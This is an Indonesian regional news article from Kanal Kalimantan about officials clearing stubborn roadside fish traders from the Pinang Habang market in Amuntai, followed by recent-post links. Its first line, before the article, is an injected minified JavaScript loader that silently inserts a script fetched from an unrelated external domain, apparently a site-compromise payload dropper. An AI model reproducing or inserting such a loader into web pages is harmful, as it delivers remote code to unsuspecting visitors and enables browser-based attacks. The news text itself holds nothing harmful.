(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Ditertibkan, Pedagang Ikan Pinang Habang Membandel


AMUNTAI, Puluhan pedagang pasar ikan Pinang Habang di pinggir jalan trans Kalsel-Kalteng di Desa Pinang Habang Kecamatan Amuntai Tengah ditertibkan oleh petugas gabungan dari Satpol PP, Dinas Perhubungan, Babinsa dan Bhabinkamtibmas, Rabu (24/1). Aktivitas pasar ikan ini mulai ramai sekitar pukul 04.30 Wita hingga pukul 09.00 Wita, sering kali bikin macet roda perekonomian ini dilarang karena berada di jalur utama perlintasan antar kabupaten dan antar provinsi.

Penertiban dilakukan lantaran selama ini para pedagang sudah beberapa kali diberikan arahan untuk memindahkan lapak dagangan ke tempat baru yang tidak jauh dari titik semula. Namun masih ada saja pedagang yang membandel tidak mau menerima relokasi ke tempat baru tersebut dengan berbagai alasan.

Penertiban pedagang sendiri dilakukan Pemkab Hulu Sungai Utara (HSU) setelah melakukan peninjauan dan rapat koordinasi dengan beberapa pihak terkait termasuk aparatur desa setempat.

Dari pantauan Kanal Kalimantan, masih ada sebagian pedagang yang menggelar dagangan di pinggir jalan. Memang kondisi jalan trans Kalimantan terlihat lebih kondusif tidak ada kemacetan yang berarti, saat digelar penertiban itu.

Kendati masih ada pedagang yang membandel berjualan di pinggir jalan, aparat gabungan tidak melakukan tindakan tegas. Upaya persuasif dilakukan agar tidak terjadi keresahan di masyarakat. Kadis Disperindagkop HSU Kaberi mengatakan, hari pertama penertiban masih ada saja pedagang yang berjualan di pinggir jalur utama jalan trans Kalimantan itu.

“Karena relokasi tidak serta merta diterima oleh semua pedagang sehingga perlu dilakukan pendekatan bertahap,” ungkapnya.

Sementara itu, penertiban pedagang ikan sendiri akan dilakukan pengawasan selama sepuluh hari kedepan. Diharapkan dengan adanya tindakan ini dapat memberikan pemahaman kepada para pedagang dengan sendirinya memindahkan dagangan ke tempat yang telah ditentukan. “Relokasi itu untuk tidak mengganggu aktivitas lain yang sering menimbulkan kemacetan di jalan utama trans Kalimantan itu,” katanya.

Kaberi menambahkan, kedepan secara bertahap pemerintah daerah akan berupaya memperbaiki dan menyediakan fasilitas baru untuk para pedagang ikan seperti pembangunan pelabuhan, penerangan serta penyediaan tenda.

Sekedar diketahui, relokasi pedagang pasar ikan Pinang Habang sudah direncanakan sejak 2017, berada diperbatasan dua desa yakni Desa Pinang Habang dan Desa Danau Cermin Kecamatan Amuntai Tengah yang dipisahkan oleh sungai. Titik perbatasan berupa sungai itu oleh warga dijadikan pasar ikan untuk jual beli ikan air tawar dengan para pengumpul ari berbagai wilayah di Kabupaten HSU maupun kabupaten tetangga seperti HST, HSS, Tabalong bahkan ada yang berasal dari Kalteng.(dewahyudi)

Reporter: Dewahyudi
Editor : Abi Zarrin Al Ghgifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.